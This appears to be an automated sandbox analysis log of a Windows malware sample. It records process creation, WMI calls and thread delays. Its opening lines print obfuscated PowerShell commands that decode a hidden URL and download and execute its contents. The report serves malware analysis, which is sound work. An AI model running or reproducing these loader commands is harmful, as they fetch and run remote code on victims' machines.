Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B6223AB push 8B485F94h; retf	13_2_00007FFD9B6223B3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD9B5535AC pushad ; ret	15_2_00007FFD9B5535B9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD9B55815B push ebx; ret	15_2_00007FFD9B55816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD9B55752B push ebx; iretd	15_2_00007FFD9B55756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD9B622403 push 8B495F94h; iretd	15_2_00007FFD9B62240B

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6607	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3103	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7113	Jump to behavior
